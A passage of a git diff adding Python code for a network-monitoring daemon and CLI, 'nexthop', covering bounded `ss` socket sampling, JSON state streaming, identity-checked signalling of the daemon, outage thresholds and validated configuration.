Spending the deadline +# reading and then seconds terminating meets the letter and misses the +# point; that gap is what let a slow `ss` push live.json past the age at +# which the bar calls the daemon dead. +REAP_RESERVE_S = 0.25 + + +def read_bounded(proc, max_bytes: int, deadline_s: float): + """The child's stdout, capped in size and in time, then the child reaped. + + Returns the text, or None if the process did not finish within the + deadline — it is killed and waited for either way, so nothing lingers. + Output past the cap is discarded and the process stopped: the sample + stays bounded and simply under-counts, which is the existing contract. + + `deadline_s` bounds the CALL, reaping included, because that is the + figure the caller budgets against. + """ + fd = proc.stdout.fileno() + os.set_blocking(fd, False) + reserve = max(0.05, min(REAP_RESERVE_S, deadline_s * 0.5)) + deadline = time.monotonic() + max(0.0, deadline_s - reserve) + chunks, total, timed_out = [], 0, False + try: + while total <= max_bytes: + remaining = deadline - time.monotonic() + if remaining <= 0: + timed_out = True + break + ready, _, _ = select.select([fd], [], [], remaining) + if not ready: + continue + try: + chunk = os.read(fd, min(65536, max_bytes + 1 - total)) + except BlockingIOError: + continue + if not chunk: + break + chunks.append(chunk) + total += len(chunk) + except OSError: + timed_out = True + finally: + proc.stdout.close() + _reap(proc, reserve) + if timed_out: + return None + return b"".join(chunks)[:max_bytes].decode("utf-8", "replace") + + +def _reap(proc, budget_s: float): + """Terminate if still running, escalate to kill, and wait — within + `budget_s`, because this runs on the daemon's loop. + + A signalled child that is never waited for is a zombie until the next + Popen happens to collect it, so waiting is right; waiting without a + bound is not. A child that survives SIGKILL for longer than this is in + uninterruptible sleep, and no amount of further waiting is going to + help — leaving it for the next poll to collect costs a transient + zombie, while blocking here costs the snapshot the whole bar reads. + """ + half = max(0.05, budget_s * 0.5) + try: + if proc.poll() is None: + proc.terminate() + proc.wait(timeout=half) + except subprocess.TimeoutExpired: + try: + proc.kill() + proc.wait(timeout=half) + except (OSError, subprocess.TimeoutExpired): + pass + except OSError: + pass + + +class AppTraffic: + """Aggregates socket samples into per-app rates and session totals.""" + + # How many poll intervals of history each app keeps. At the 3-second + # poll that is one minute — enough to show the shape of usage, small + # enough to ride along in apps.json. + HISTORY = 20 + + def __init__(self): + self.prev = {} + self.prev_t = None + self.totals = {} # app -> [rx_bytes, tx_bytes] + self.rates = [] # last interval's list, ready for apps.json + self.history = {} # app -> deque of [rx_bps, tx_bps] + self.latency = None # last latency_stats(), or None while under-sampled + + # Enumeration bounds: a machine with an enormous socket table must not + # make the daemon allocate without limit every three seconds. 4 MB of + # `ss` output is roughly 8000 sockets — far past any laptop, and the + # cap degrades to "top apps among the first N sockets", not a crash. + MAX_SS_BYTES = 4 * 1024 * 1024 + MAX_SOCKETS = 10_000 + + # `ss -p` walks every process's descriptors to name the owners, and + # on a busy machine that can stall. The read is bounded in time as + # well as size, because a read with no deadline holds the daemon's + # loop — and its outage watch — for as long as `ss` does. + # + # The size of the bound is not free either. This call is the only + # blocking one left on the loop, and the loop writes live.json just + # before it, so whatever this is budgeted for is how stale that + # snapshot can get. The bar calls the daemon dead at + # `BarWidget.staleAfterS` (5 s) — so a 5 s budget here, which is what + # this was, could blank the index, the headline and the path + # sparklines' liveness ring on a daemon that was measuring perfectly. + # A third of the contract leaves room for the rest of the iteration. + # Overrunning it costs one interval of app counters, which the Apps + # tab already degrades honestly; the alternative cost the whole bar. + # A test pins this against the QML number rather than either alone. + POLL_DEADLINE_S = 1.5 + + def poll(self) -> bool: + if not shutil.which("ss"): + return False + try: + proc = subprocess.Popen(["ss", "-tinpH"], stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL) + except OSError: + return False + raw = read_bounded(proc, self.MAX_SS_BYTES, self.POLL_DEADLINE_S) + if raw is None: + return False + now = time.time() + cur = parse_ss(raw, max_sockets=self.MAX_SOCKETS) + self._fold(cur, now) + return True + + def _fold(self, cur: dict, now: float): + if self.prev_t is None: + # First sample is the baseline: the counters carry each + # connection's whole history, which is not this interval's + # traffic. + self.prev, self.prev_t = cur, now + return + dt = max(0.5, now - self.prev_t) + interval = {} # app -> [rx, tx, conns] + per_app_rtt = {} # app -> list of srtt + per_app_queue = {} # app -> list of srtt - minrtt + for key, s in cur.items(): + app, sent, recv = s.app, s.sent, s.recv + prev = self.prev.get(key) + if prev is not None: + d_tx = max(0, sent - prev[2]) + d_rx = max(0, recv - prev[3]) + else: + # Born since the last sample: its whole life is this + # interval. + d_tx, d_rx = sent, recv + slot = interval.setdefault(app, [0, 0, 0]) + slot[0] += d_rx + slot[1] += d_tx + slot[2] += 1 + # Per-app timing shares the aggregate's guard, so a socket + # rejected there cannot be silently counted here. + t = socket_timing(s) + if t is not None: + per_app_rtt.setdefault(app, []).append(t[0]) + per_app_queue.setdefault(app, []).append(t[2]) + # Sockets that closed between samples take their final delta with + # them — the tail of a closed connection is the one thing this + # method genuinely cannot count. + for app, (rx, tx, _conns) in interval.items(): + tot = self.totals.setdefault(app, [0, 0]) + tot[0] += rx + tot[1] += tx + # Every known app gets a history sample each interval — an app that + # went quiet records zeros, so its strip shows the quiet. + for app in self.totals: + v = interval.get(app) + h = self.history.setdefault(app, deque(maxlen=self.HISTORY)) + h.append([round(v[0] / dt, 1), round(v[1] / dt, 1)] if v else [0.0, 0.0]) + self.rates = [ + { + "name": app, + "rx_bps": round(v[0] / dt, 1), + "tx_bps": round(v[1] / dt, 1), + "conns": v[2], + "rx_total": self.totals.get(app, [0, 0])[0], + "tx_total": self.totals.get(app, [0, 0])[1], + "hist": list(self.history.get(app, [])), + # Median across this app's qualifying sockets. None when it + # has none — an app talking only QUIC shows no latency here, + # which is honest rather than zero. + "rtt_ms": (round(statistics.median(per_app_rtt[app]), 2) + if per_app_rtt.get(app) else None), + "queue_ms": (round(statistics.median(per_app_queue[app]), 2) + if per_app_queue.get(app) else None), + } + for app, v in interval.items() + ] + self.latency = latency_stats(cur) + self.prev, self.prev_t = cur, now + + def top(self, n: int = 8) -> list: + """Busiest apps first; idle-but-heavy session users still listed.""" + ranked = sorted(self.rates, + key=lambda a: (a["rx_bps"] + a["tx_bps"], + a["rx_total"] + a["tx_total"]), + reverse=True) + seen = {a["name"] for a in ranked} + # Apps with session history but no sockets this interval. + idle = [ + {"name": app, "rx_bps": 0.0, "tx_bps": 0.0, "conns": 0, + "rx_total": t[0], "tx_total": t[1], + "hist": list(self.history.get(app, [])), + "rtt_ms": None, "queue_ms": None} + for app, t in self.totals.items() if app not in seen + ] + idle.sort(key=lambda a: a["rx_total"] + a["tx_total"], reverse=True) + return (ranked + idle)[:n] diff --git a/plugins/io.github.x3me.nexthop/nexthopd/cli.py b/plugins/io.github.x3me.nexthop/nexthopd/cli.py new file mode 100644 index 0000000..5f3c153 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd/cli.py @@ -0,0 +1,365 @@ +"""`nexthop` — the query CLI the panel (and you) use for history. + +Everything answers in JSON on stdout, because the consumer is a QML +Process { } as often as it is a person. The daemon is not involved: reads go +straight to the files — sqlite for history (WAL mode makes that safe), the +JSON state files for the rest. + + nexthop query --window 24h history series at the right resolution + nexthop live the current live.json + nexthop events --window 7d outages, disruptions, changes + nexthop tests [--kind peak] speed test results + nexthop report --window 24h plain-text summary for an ISP ticket + nexthop peak ask the running daemon for a peak test + nexthop stream the shell's bounded reader: one JSON line + per named state file, re-emitted on change + nexthop retire --pid --start SIGTERM a stale daemon, identity-checked +""" + +import argparse +import fcntl +import json +import os +import signal +import stat +import sys +import time + +from .paths import (apps_path, db_path, live_path, lock_path, manifest_path, + recent_path) +from .state import read_json, read_text_bounded + +WINDOWS = {"m": 60, "h": 3600, "d": 86400} + + +def parse_window(text: str) -> float: + text = (text or "30m").strip().lower() + unit = text[-1] + if unit in WINDOWS: + try: + return float(text[:-1]) * WINDOWS[unit] + except ValueError: + pass + try: + return float(text) + except ValueError: + return 1800.0 + + +def emit(obj): + json.dump(obj, sys.stdout, separators=(",", ":")) + print() + + +def cmd_live(_args): + emit(read_json(live_path(), {"state": "no-daemon"})) + return 0 + + +# The QML side never opens a state file itself. It runs `nexthop stream` +# and reads whole lines, so the only code that touches these paths is the +# bounded no-follow non-blocking read in state.py — an oversized file, a +# FIFO or a symlink swap is refused here, in a small short-lived process, +# instead of allocating or stalling inside the long-lived shell. +# +# Keys, never paths: the caller picks from this table, so no argument it +# passes can widen what gets opened. Caps match each file's real size +# (live ~3 KB, apps ~8 KB, recent ~30 KB) with generous headroom. +STREAMABLE = { + "live": (live_path, 256 * 1024), + "apps": (apps_path, 1024 * 1024), + "recent": (recent_path, 1024 * 1024), + "manifest": (manifest_path, 256 * 1024), +} + + +def cmd_stream(args): + """Emit ` ` lines whenever a watched file's contents change. + + The payload is re-serialised here rather than forwarded verbatim: it + guarantees one line per record whatever the file's own formatting + (manifest.json is indented, the state files are not), and it means + only JSON this process already parsed successfully is ever handed to + the shell. + """ + keys = [k for k in dict.fromkeys(args.keys) if k in STREAMABLE] + if not keys: + print("stream: nothing to watch", file=sys.stderr) + return 2 + interval = min(max(args.interval, 0.1), 60.0) + last = {} + while True: + for key in keys: + resolve, cap = STREAMABLE[key] + got = read_text_bounded(resolve(), cap) + if got is None: + continue + text, stamp = got + if last.get(key) == stamp: + continue + last[key] = stamp + try: + payload = json.loads(text) + except ValueError: + continue # a half-written or foreign file; skip it + # ensure_ascii escapes any newline inside a string, so the + # record cannot break the line framing. + line = json.dumps(payload, separators=(",", ":")) + try: + sys.stdout.write(f"{key} {line}\n") + sys.stdout.flush() + except (BrokenPipeError, ValueError): + # The shell went away; so do we. _exit skips the + # interpreter's final flush, which would only raise the + # same broken pipe again and print it to stderr. + os._exit(0) + time.sleep(interval) + + +def authorized_to_retire(pid: int, want_start: int) -> bool: + """Is this pid really our daemon, and the same one live.json named? + + Three independent facts, all read from /proc and none of them a name + match: the process must belong to this user, its argv must be exactly + a python interpreter running `-m nexthopd`, and its start time must + equal the one the daemon published. A recycled pid can reproduce the + number but never the start time. + + This lives here rather than in a shell one-liner because the one-liner + could not be tested and, as it turned out, did not run at all: the + NUL it passed to `tr` truncated the script at execve. + """ + try: + if os.stat(f"/proc/{pid}").st_uid != os.getuid(): + return False + with open(f"/proc/{pid}/cmdline", "rb") as f: + argv = [a.decode("utf-8", "replace") + for a in f.read(4096).split(b"\0") if a] + with open(f"/proc/{pid}/stat", "rb") as f: + data = f.read(4096) + except (OSError, ValueError): + return False + if len(argv) < 3 or "python" not in os.path.basename(argv[0]): + return False + if argv[1] != "-m" or argv[2] != "nexthopd" or len(argv) > 3: + return False + if want_start: + try: + start = int(data[data.rindex(b")") + 2:].split()[19]) + except (ValueError, IndexError): + return False + if start != want_start: + return False + return True + + +def cmd_retire(args): + """SIGTERM a stale daemon, but only once its identity checks out.""" + if args.pid <= 0 or args.pid == os.getpid(): + return 1 + if not authorized_to_retire(args.pid, args.start): + return 1 + try: + os.kill(args.pid, signal.SIGTERM) + except OSError: + return 1 + return 0 + + +def open_store(): + # Imported here, not at module scope: `stream` runs for the life of the + # shell and has no use for sqlite3, so it should not pay to load it. + from .store import Store + path = db_path() + if not path.exists(): + return None + try: + return Store(path, read_only=True) + except Exception: + return None + + +def cmd_query(args): + store = open_store() + if not store: + emit({"error": "no history yet"}) + return 1 + seconds = parse_window(args.window) + rows, table = store.series(seconds, resolution=args.resolution) + emit({"window_s": seconds, "resolution": table, "rows": rows}) + return 0 + + +def cmd_events(args): + store = open_store() + if not store: + emit({"events": []}) + return 0 + emit({"events": store.events(parse_window(args.window))}) + return 0 + + +def cmd_tests(args): + store = open_store() + if not store: + emit({"tests": []}) + return 0 + emit({"tests": store.tests(limit=args.limit, kind=args.kind)}) + return 0 + + +def _lock_holder_pid() -> int: + """The pid written by whoever holds the daemon lock, or 0. + + The lock file outlives a daemon that died hard and pids are recycled, + so the number in the file is not evidence on its own. The flock is: + if this process can take it, nobody holds it and nobody is listening, + whatever the file says. Opened the way the daemon opens it — no + symlink following, a regular file or nothing — and never truncated. + """ + try: + fd = os.open(lock_path(), os.O_RDONLY | os.O_NOFOLLOW | os.O_CLOEXEC) + except OSError: + return 0 + try: + if not stat.S_ISREG(os.fstat(fd).st_mode): + return 0 + try: + fcntl.flock(fd, fcntl.LOCK_EX | fcntl.LOCK_NB) + except OSError: + # Held: that is the daemon, and the pid it wrote after taking + # the lock is the one to ring. + try: + return int(os.read(fd, 32).strip()) + except ValueError: + return 0 + # We got it, so nobody was holding it. Give it straight back. + fcntl.flock(fd, fcntl.LOCK_UN) + return 0 + except OSError: + return 0 + finally: + os.close(fd) + + +def cmd_peak(_args): + """Ring the daemon's doorbell. SIGUSR1 is the whole protocol. + + SIGUSR1's default disposition is *terminate*, so signalling the wrong + pid is not a harmless no-op — and this is what a middle-click on the + bar runs. Two checks stand before the signal: the lock must actually + be held (see `_lock_holder_pid`), and the holder must pass the same + owner-and-argv test the retire path applies, with the start time + live.json published when it names the same pid. The same rule as + `nexthop retire`: a process is authorised by identity, never by the + number a file happens to contain. + """ + pid = _lock_holder_pid() + if pid <= 0 or pid == os.getpid(): + emit({"ok": False, "error": "daemon not running"}) + return 1 + live = read_json(live_path(), {}) or {} + want_start = 0 + if live.get("pid") == pid: + try: + want_start = int(live.get("pid_start") or 0) + except (TypeError, ValueError): + want_start = 0 + if not authorized_to_retire(pid, want_start): + emit({"ok": False, "error": "lock holder is not nexthopd"}) + return 1 + try: + os.kill(pid, signal.SIGUSR1) + except OSError: + emit({"ok": False, "error": "daemon not running"}) + return 1 + emit({"ok": True}) + return 0 + + +def cmd_report(args): + """The paste-into-a-ticket summary. Plain text by design.""" + store = open_store() + live = read_json(live_path(), {}) + seconds = parse_window(args.window) + lines = [] + link = live.get("link", {}) + lines.append(f"Nexthop report — last {args.window}") + lines.append(f"generated {time.strftime('%Y-%m-%d %H:%M %Z')}") + if link: + what = link.get("ssid") or link.get("name") or link.get("iface", "?") + lines.append(f"connection: {what} ({link.get('kind', '?')}), " + f"gateway {link.get('gateway', '?')}") + lines.append("") + if store: + rows, table = store.series(seconds) + vals = lambda k: [r[k] for r in rows if r.get(k) is not None] + + def block(name, p50key, p95key, losskey): + p50, p95, loss = vals(p50key), vals(p95key), vals(losskey) + if not p50: + lines.append(f"{name}: no data") + return + lines.append( + f"{name}: median {sum(p50)/len(p50):.1f} ms, " + f"p95 {max(p95) if p95 else 0:.1f} ms (worst {table} bucket), " + f"loss {sum(loss)/len(loss)*100 if loss else 0:.2f}%") + + block("local leg (to router)", "local_p50", "local_p95", "local_loss") + block("wan leg (past router)", "wan_p50", "wan_p95", "wan_loss") + lines.append("") + events = store.events(seconds) + if events: + lines.append("events:") + for e in events: + start = time.strftime("%a %H:%M", time.localtime(e["ts"])) + dur = (f"{e['ended_ts'] - e['ts']}s" if e["ended_ts"] + else "ongoing") + lines.append(f" {start} {e['kind']} on {e['leg']} leg, {dur}" + f" — {e['detail']}") + else: + lines.append("events: none") + tests = store.tests(limit=5) + if tests: + lines.append("") + lines.append("speed tests:") + for t in tests: + when = time.strftime("%a %H:%M", time.localtime(t["ts"])) + down = f"{t['down_mbps']:.0f}" if t["down_mbps"] else "--" + up = f"{t['up_mbps']:.0f}" if t["up_mbps"] else "--" + lines.append(f" {when} {t['kind']:<8} {down}/{up} Mbps" + f" ({t['engine']})") + print("\n".join(lines)) + return 0 + + +def main(argv=None): + ap = argparse.ArgumentParser(prog="nexthop") + sub = ap.add_subparsers(dest="cmd", required=True) + sub.add_parser("live") + q = sub.add_parser("query") + q.add_argument("--window", default="30m") + q.add_argument("--resolution", default="auto", + choices=["auto", "minute", "hour"]) + e = sub.add_parser("events") + e.add_argument("--window", default="7d") + t = sub.add_parser("tests") + t.add_argument("--kind", default=None) + t.add_argument("--limit", type=int, default=20) + sub.add_parser("peak") + r = sub.add_parser("report") + r.add_argument("--window", default="24h") + s = sub.add_parser("stream") + s.add_argument("keys", nargs="+", choices=sorted(STREAMABLE)) + s.add_argument("--interval", type=float, default=0.5) + rt = sub.add_parser("retire") + rt.add_argument("--pid", type=int, required=True) + rt.add_argument("--start", type=int, default=0) + args = ap.parse_args(argv) + return {"live": cmd_live, "query": cmd_query, "events": cmd_events, + "tests": cmd_tests, "peak": cmd_peak, "report": cmd_report, + "stream": cmd_stream, "retire": cmd_retire}[args.cmd](args) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/plugins/io.github.x3me.nexthop/nexthopd/daemon.py b/plugins/io.github.x3me.nexthop/nexthopd/daemon.py new file mode 100644 index 0000000..27afd01 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd/daemon.py @@ -0,0 +1,2056 @@ +"""The nexthopd main loop. + +Owns the probes, folds their samples into live.json / recent.json / +apps.json / history.db, detects outages, and runs the scheduled content +check. The QML side never talks to this process — the files are the whole +contract, so either side can restart without the other noticing. +""" + +import fcntl +import json +import os +import re +import shutil +import signal +import stat as stat_module +import subprocess +import sys +import threading +import time +from typing import NamedTuple +from collections import deque + +from . import __version__, apps, linkevents, net, score, speedtest +from .paths import (ensure_state_dir, ensure_runtime_dir, runtime_dir, + live_path, recent_path, db_path, lock_path, apps_path) +from .instruments import Bench, MergedSeries, merged_stats +from .probes import Series, PingProbe, TcpProbe +from .state import write_atomic, retire_legacy_snapshots +from .store import Store +from .update import UpdateWatch + +# Unbroken silence on a leg — no probe of any kind answering — before we +# call it down. Measured on the probe stream itself, from the timestamp of +# the first lost sample after the last reply, so it means four seconds +# whatever the probe cadence or the loop's tick. Long enough to skip a +# Wi-Fi roam, short enough that the alarm still feels immediate. +# +# History, because it cost a year: until 0.2.15 this was a COUNT of loop +# ticks (eight) in which a 3 s any-reply window came back empty, so a +# "loss" was three seconds wide, an outage took ~6.5 s while every comment +# said four, and an interruption shorter than 3 s could not register at +# all. Reading the stream is what makes the number mean what it says. +OUTAGE_AFTER_S = 4.0 +# A run of silence shorter than an outage but longer than noise: an +# interruption the user may well have felt — a call breaking up, a stream +# rebuffering. Recorded at recovery, when its length is known, and charged +# to Reliability at half weight (score.reliability). Three lost probes at +# the default 500 ms. +DISRUPTION_AFTER_S = 1.5 +# One lost probe is never an event, at any cadence. At a slow probe interval +# a single loss is followed by seconds with no sample at all, and measured +# in seconds alone that would read as an outage. +MIN_LOST_SAMPLES = 2 +# A content check measures the line, and a Wi-Fi link that has just +# associated is not the line yet: it may still be on the band it landed on +# rather than the one it will roam to, and its transmit rate may still be +# climbing. Measured on this laptop: a check 55 s after associating read +# 63 Mbps on a 380 Mbps line, from 2.4 GHz at a 16 Mbps tx rate, nine +# minutes before the link moved itself to 5 GHz. +CHECK_SETTLE_S = 60.0 +# But a link that is simply slow must still be measured eventually, or Speed +# never scores at all. Defer this long at most, then take what is there. +CHECK_DEFER_MAX_S = 600.0 +# How recently a peak test must have run, on this network, to be allowed to +# contradict the everyday basis. +PEAK_FRESH_S = 3600.0 + + +def check_ready(now: float, assoc_since, rate_low_since, waiting_since, + settle_s: float = CHECK_SETTLE_S, + max_defer_s: float = CHECK_DEFER_MAX_S) -> bool: + """Is the link in a fit state to be measured? Pure, so it is testable. + + Two reasons to wait: the association is younger than the settle window, + or the transmit rate is currently down (`LinkWatch.low_since`, the same + signal that opens a rate-drop event). Either way the cap wins in the + end — a permanently poor link gets an honest low number rather than no + number, and the median guard is what protects the score from one bad + sample. + """ + if waiting_since is not None and now - waiting_since >= max_defer_s: + return True + if assoc_since is not None and now - assoc_since < settle_s: + return False + if rate_low_since is not None: + return False + return True + + +# A stream whose newest sample is older than this has stopped talking — a +# dead ping process, a stopped probe — which is not an outage. `ping -O` +# and the TCP probe keep emitting losses through a real one, so a stale +# stream is never mistaken for a dead line: it is unknown, and not counted. +LEG_STALE_S = 6.0 +# How far back to read a leg's stream for the start of the current run. Past +# OUTAGE_AFTER_S with margin; the watch remembers an older start itself. +LEG_STREAM_WINDOW_S = 12.0 + +# Probes needed on each side of the idle/loaded split before their ratio is +# reported. Below this the comparison is sampling noise. +MIN_LOAD_SPLIT_SAMPLES = 10 +# What counts as a busy link, for the loaded/idle latency split only. +# +# This used to borrow `LinkWatch.TRAFFIC_FLOOR_BPS`, whose own comment says it +# exists so Wi-Fi power save does not fire spurious rate-drop events. That is +# a question about the radio; this is a question about the line, and one +# constant cannot answer both. At 25 kB/s it answered neither: on this laptop +# the median minute carries 18 kB/s and p75 is 42 kB/s, so the floor sat +# inside the IDLE distribution and tagged 36.6% of all minutes "loaded". +# +# The proof it measured nothing is in the stored history: across 8,971 +# minutes carrying both figures, the loaded half was FASTER than the idle +# half 57% of the time, with medians 18.7 and 18.8 ms. A link cannot answer +# faster while busy; a coin flip is what two buckets holding the same thing +# look like. Selecting minutes by how much they actually carried recovers the +# signal, and only well up the range: at 250 kB/s inversions are 51%, at +# 1 MB/s 50%, at 2.5 MB/s 47%, and only at 5 MB/s do they fall to 29% with +# loaded 19.9 ms against idle 16.6 — the direction physics requires. +# +# That selection is weaker than it looks and the fraction below rests mostly +# on the 57% above, not on it. A minute's stored `rx_bps` is `self.rates`, +# the 3-second sliding window, so it describes the END of a minute rather +# than the minute: of 151 content checks, the median stored rate in the +# check's own minute is 29 kB/s, below even the whole-minute average of +# 233 kB/s, because a sub-second check rarely lands in the stored window. +# The probes' own load flags — which is what the 57% is built from — are +# unaffected, since each probe carries the tag it was measured under. +# +# 5 MB/s is a tenth of what this line carries, and a tenth is the number +# worth keeping rather than the 5, because a fixed rate cannot serve a +# 10 Mbps line and a gigabit one at once — the same lesson the content check +# learned about fixed transfer sizes. Below the floor nothing is called busy, +# so a line whose capacity is unknown does not tag its own background chatter. +LOAD_FRACTION_OF_LINE = 0.10 +LOAD_FLOOR_BPS = 125_000 +# Queueing can only ADD delay, so a loaded/idle ratio below 1 says the link +# answered faster while busy, which is not a measurement. The sample floor +# above does not catch it: 0.87 was published live on 716 samples per side. +# Within a few percent of 1 the two populations are simply indistinguishable +# and the honest reading is "no inflation"; further below, the split itself +# is untrustworthy — the loaded samples likely landed in a quiet moment — so +# withhold rather than report. A plausibility floor, distinct from a sample +# floor, and the guard the socket metric already has. +MIN_PLAUSIBLE_INFLATION = 0.95 + +# The TCP instruments: a handshake to port 443, once a second per target. +# Slower than the ICMP cadence on purpose — each one opens a real connection +# to someone else's server. Since 0.2.0 these are seated instruments in the +# bench, so a TCP series feeds the scored internet leg and the outage watch +# whenever it holds a seat (instruments.py). +TCP_PROBE_INTERVAL_S = 1.0 +TCP_PROBE_PORT = 443 +# The rest of the instrument pool (see instruments.py). Cloudflare edge +# is a host the daemon already fetches from; dns.google is the one +# probe target outside Cloudflare, so a Cloudflare incident cannot +# silence the whole pool. TCP handshakes only — no payload. +CF_EDGE_HOST = "speed.cloudflare.com" +DIVERSITY_HOST = "dns.google" +# A benched instrument idles at a tenth of its seated cadence: enough +# to stay rankable, cheap enough to keep around. +STANDBY_FACTOR = 10.0 +BENCH_EVAL_EVERY_S = 60.0 + +def proc_start_ticks(pid): + """The process start time in clock ticks, from /proc//stat. + + Together with the pid it forms a start identity: pids are recycled, + but a recycled pid never reproduces the same start time. The shell + service checks this before it will signal anything. + """ + try: + with open("/proc/%d/stat" % pid, "rb") as f: + data = f.read(4096) + # Field 22, counted after the parenthesised comm (which may itself + # contain spaces and parentheses). + rest = data[data.rindex(b")") + 2:].split() + return int(rest[19]) + except (OSError, ValueError, IndexError): + return None +# An interruption that self-heals in under this is recorded but not +# notified. The constant was written with 0.1.0 and never read: outages +# alarmed the instant they were declared, so a six-second blip on a flaky +# link fired a desktop notification the user could do nothing about. The +# event is always logged; only the interruption goes quiet. +NOTIFY_AFTER_S = 5.0 + +# A content check that failed outright (curl error, endpoint down) used to +# wait the full interval before trying again — an hour of stale Speed for +# a transient fault. One retry after this long; a second failure waits the +# interval, so a blocked endpoint is not hammered. +CONTENT_RETRY_S = 300.0 + + +class Config: + """Settings, read from the file the QML side writes. + + Every value is validated against the same ranges the manifest schema + promises, and the file itself has a size cap — a config the daemon + cannot trust in full is a config it ignores in full. Nothing read + here can grow retained state beyond its documented bounds. + """ + + MAX_BYTES = 64 * 1024 + # key -> (default, validator). Ranges mirror manifest.json's schema. + # A hostname or address never begins with a dash, and the anchor is + # the last argument to `ping` and `ip route get`, where a leading dash + # would be read as an option. Refused at the setting, so no call site + # has to remember an option terminator. + ANCHOR_RE = re.compile(r"^[A-Za-z0-9:][A-Za-z0-9.:\-]{0,252}$") + + @staticmethod + def _int(lo, hi): + def check(v): + if isinstance(v, bool) or not isinstance(v, (int, float)): + return None + n = int(v) + return n if lo <= n <= hi else None + return check + + @staticmethod + def _bool(v): + return v if isinstance(v, bool) else None + + SCHEMA = { + "internetAnchor": ("1.1.1.1", + lambda v: v if isinstance(v, str) + and Config.ANCHOR_RE.match(v) else None), + "probeIntervalMs": (500, None), # filled below + "contentSpeed": (True, None), + "contentSpeedIntervalMin": (60, None), + "peakEngine": ("Auto", + lambda v: v if v in ("Auto", "Ookla", "Cloudflare", + "fast.com") else None), + "planDownMbps": (0, None), + "planUpMbps": (0, None), + "notifyOutage": (True, None), + "updateCheck": (True, None), + "meteredCare": (True, None), + "historyDays": (7, None), + "throughputWindowS": (3, None), + } + + DEFAULTS = {k: v[0] for k, v in SCHEMA.items()} + + def __init__(self, state_dir): + self.path = state_dir / "config.json" + self.values = dict(self.DEFAULTS) + self._mtime = 0 + + def refresh(self): + # Everything is checked on the file descriptor actually read — a + # stat followed by a separate open is a race an attacker wins by + # swapping the file in between. O_NOFOLLOW refuses symlinks, fstat + # types and dates the very fd we read, and the size bound is + # enforced by the bounded read itself, not by a prior check. + try: + fd = os.open(self.path, os.O_RDONLY | os.O_NOFOLLOW | os.O_CLOEXEC) + except OSError: + return + try: + st = os.fstat(fd) + if not stat_module.S_ISREG(st.st_mode): + return + if st.st_mtime == self._mtime: + return + self._mtime = st.st_mtime + chunks = [] + remaining = self.MAX_BYTES + 1 + while remaining > 0: + chunk = os.read(fd, remaining) + if not chunk: + break + chunks.append(chunk) + remaining -= len(chunk) + data = b"".join(chunks) + except OSError: + return + finally: + os.close(fd) + if len(data) > self.MAX_BYTES: + return + try: + loaded = json.loads(data) + except ValueError: + return + if not isinstance(loaded, dict): + return + merged = dict(self.DEFAULTS) + for key, (default, validate) in self.SCHEMA.items(): + if key not in loaded or loaded[key] is None: + continue + checked = validate(loaded[key]) if validate else None + if checked is not None: + merged[key] = checked + self.values = merged + + def __getitem__(self, key): + return self.values[key] + + +# Range validators mirror the manifest schema exactly; a value outside its +# documented range is discarded, never clamped — silence over surprise. +Config.SCHEMA["probeIntervalMs"] = (500, Config._int(250, 5000)) +Config.SCHEMA["contentSpeed"] = (True, Config._bool) +Config.SCHEMA["contentSpeedIntervalMin"] = (60, Config._int(15, 1440)) +Config.SCHEMA["planDownMbps"] = (0, Config._int(0, 10000)) +Config.SCHEMA["planUpMbps"] = (0, Config._int(0, 10000)) +Config.SCHEMA["notifyOutage"] = (True, Config._bool) +Config.SCHEMA["updateCheck"] = (True, Config._bool) +Config.SCHEMA["meteredCare"] = (True, Config._bool) +Config.SCHEMA["historyDays"] = (7, Config._int(1, 90)) +Config.SCHEMA["throughputWindowS"] = (3, Config._int(1, 30)) + + +class LinkWatch: + """Watches the Wi-Fi link state and writes events worth remembering: + roams, kicks, drops, associations, sustained rate drops. Instant events + are stored closed; a rate drop stays open until the rate recovers, so + its row carries a duration. + + A BSSID change is attributed when `events` (an NlEvents) knows who + ended the previous association: the AP (a kick, with its 802.11 + reason), this machine with the next authentication already under way + (a roam), or this machine after a scan (a drop — the link was lost). + Without that knowledge every change is a roam, as it always was. + """ + + # A drop only counts when the rate stays below this fraction of the + # recent ceiling for a sustained stretch — rate control flaps all the + # time and a log that records every flap teaches people to ignore it. + LOW_FRACTION = 0.4 + RECOVER_FRACTION = 0.6 + SUSTAIN_S = 10.0 + # Rate drops are only meaningful under traffic: Wi-Fi power save + # renegotiates a low bitrate the moment the link idles, and logging + # that teaches people to ignore the log. Below this many bytes/sec of + # combined throughput the link counts as idle. + TRAFFIC_FLOOR_BPS = 25_000 + # Consecutive empty link reads before the link counts as genuinely + # gone. A single failed `iw` call is a hiccup, not a disassociation — + # and its recovery must not be logged as a fresh association. + GAP_SAMPLES = 5 + # A local deauth followed by a new authentication within this long is + # the client roaming: mac80211 emits that deauth from inside the call + # that starts the new authentication, so a roam's gap is milliseconds. + # A lost link is followed by a scan first, and its gap is seconds. The + # threshold sits between the two by orders of magnitude. + ROAM_FOLLOW_S = 1.0 + + def __init__(self, store, events=None): + self.store = store + self.events = events # NlEvents, or anything with cause_for() + self.prev = None # last non-empty link, None until first seen + self.last_link_t = None # when the link was last seen up + self.gap_count = 0 + self.disassociated = False + self.rate_ceiling = 0.0 + self.low_since = None + self.low_floor = None + self.rate_event_id = None + self.last_sample = 0.0 + # When the current association began, so a measurement can wait for + # a link that has only just come up — see check_ready. + self.assoc_since = None + + def _instant(self, ts, kind, detail): + # Severity travels WITH the event so the panel can colour a kind it + # has never heard of. A kick or a drop is a fault; a roam, an + # association or a channel change is information. + severity = "warn" if kind in ("kick", "drop") else "info" + eid = self.store.open_event(int(ts), kind, severity, "local", detail) + self.store.close_event(eid, int(ts)) + + def _cause(self, bssid, since, now): + """Who ended our association with `bssid`, if anything was seen + since we last saw that link up.""" + if not self.events or not bssid or since is None: + return None + try: + return self.events.cause_for(bssid, now, now - since + 2.0) + except Exception: + return None # an attribution failure must not cost the event + + def _blame(self, cause, old, new, gap_s=None): + """(kind, text) for a change away from `old` with a known cause. + + gap_s is how long the link was down when that is known (a confirmed + gap); otherwise the deauth-to-reauth delay stands in for it. + """ + why = linkevents.reason_text(cause["reason"], cause["by_ap"]) + follow = cause.get("gap_s") + if cause["by_ap"]: + kind, lead = "kick", "Kicked by AP %s (%s)" % (old, why) + elif gap_s is None and follow is not None and follow < self.ROAM_FOLLOW_S: + return "roam", "Roamed to " + new + else: + 